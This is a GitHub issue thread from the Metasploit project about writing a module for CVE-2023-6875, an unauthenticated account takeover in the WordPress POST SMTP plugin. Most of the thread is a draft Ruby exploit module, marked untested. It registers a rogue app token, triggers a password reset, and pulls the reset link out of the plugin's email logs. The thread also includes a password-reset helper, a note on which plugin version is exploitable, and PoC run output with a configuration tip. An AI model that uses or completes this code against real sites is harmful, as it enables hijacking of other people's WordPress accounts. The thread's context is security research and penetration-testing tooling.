metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Wordpress POST SMTP Mailer plugin (CVE-2023-6875)

Open h00die opened this issue 1 year ago • 8 comments

Summary

CVSS 9.8 allows unauthenticated account takeover on wordpress. Looks like a pretty fun exploit, you auth bypass, then do an account password reset, then view the logs to pull out the URL used.

Basic example

untested: https://github.com/UlyssesSaicha/CVE-2023-6875/blob/main/poc.py

h00die avatar Jan 15 '24 16:01 h00die

Hi, i would like to try adding this module. :)

JohannesLks avatar Jan 16 '24 11:01 JohannesLks

sure! I was working on it, but feel free to use what I have so far:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress POST SMTP Account Takeover',
        'Description' => %q{
          POST SMTP LMS, a WordPress plugin,
          prior to 2.8.7 is affected by a privilege escalation where an unauthenticated
          user is able to reset the password of an arbitrary user.
        },
        'Author' => [
          'h00die', # msf module
          'Ulysses Saicha', # Discovery, POC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-6875'],
          ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'],
        ],
        'DisclosureDate' => '2024-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [true, 'Username to password reset', '']),
      ]
    )
  end

  def register_token
    vprint_status('Registering token')
    token = Rex::Text.rand_text_alphanumeric(10..16)
    device = Rex::Text.rand_text_alphanumeric(10..16)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'fcm-token' => token, 'device' => device }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable
    print_good("Succesfully created token: #{token}")
    return token, device
  end

  def check
    unless wordpress_and_online?
      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
    end

    checkcode = check_plugin_version_from_readme('post-smtp', '2.8.6')
    if checkcode == Msf::Exploit::CheckCode::Safe
      return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable')
    end

    checkcode
  end

  def run
    fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME']
    token, device = register_token
    fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME'])
    print_status('Requesting logs')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'fcm-token' => token, 'device' => device }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
    json_doc = res.get_json_document
    # we want the latest email as that's the one with the password reset
    doc_id = json_doc['data'][0]['id']
    print_status("Requesting email content from logs for ID #{doc_id}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'fcm-token' => token, 'device' => device },
      'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
    # XXX we'll need to process this email and pull out the link, likely a regex. Example from my test: http://1.1.1.1/wp-login.php?action=rp&key=EwDT7OKgZiMPIhinsrhY&login=admin&wp_lang=en_US
    puts res.body
  end
end

Untested, but most of the functions and all that you'll need are stubbed in.

You'll also want to update lib/msf/core/exploit/remote/http/wordpress/users.rb with a new function at the end:

  # Performs a password reset for a user
  #
  # @param user [String] Username
  # @return [Boolean] true if the request was successful
  def reset_user_password(user)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => wordpress_url_login,
      'vars_get' => { 'action' => 'lostpassword' },
      'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' }
    })
    return false if res.nil?
    return false unless res.code == 200

    true
  end

h00die avatar Jan 16 '24 11:01 h00die

I'll also note, 2.8.7 which is supposed to be vulnerable wasn't taking my fcm-token from the POC, I had to downgrade to 2.8.6 to make it exploitable.

h00die avatar Jan 16 '24 11:01 h00die

Looks cool!

tactipus avatar Jan 16 '24 19:01 tactipus

I met the error that I can't reach certain pages. This may be due to improper configuration of the SMTP POST plugin and the related Wordpress docker container. Can you share any tricks on that? Thank you.

Enter the target URL: http://172.16.101.188
Setting the FCM Token
http://172.16.101.188/wp-json/post-smtp/v1/connect-app Response Code: 404
Username for password reset: admin
Attempting password reset
http://172.16.101.188/wp-login.php?action=lostpassword Response Code: 200
Getting all email logs
http://172.16.101.188/wp-json/post-smtp/v1/get-logs Response Code: 404
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 971, in json
    return complexjson.loads(self.text, **kwargs)
  File "/usr/lib/python3.9/json/__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python3.9/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python3.9/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/evergreenyoung21/CVE-2023-6875/poc.py", line 61, in <module>
    r = r.json()
  File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 975, in json
    raise RequestsJSONDecodeError(e.msg, e.doc, e.pos)
requests.exceptions.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

NozoMizore7 avatar Jan 22 '24 08:01 NozoMizore7

I got the point: set the permlink of Wordpress to a certain format, to avoid the API request to be ignored or redirected to the homepage. That's how the request to the POST SMTP can work.

NozoMizore7 avatar Jan 22 '24 22:01 NozoMizore7

https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244

h00die avatar Jan 22 '24 22:01 h00die

@JohannesLks hows it going on the module?

h00die avatar Feb 01 '24 20:02 h00die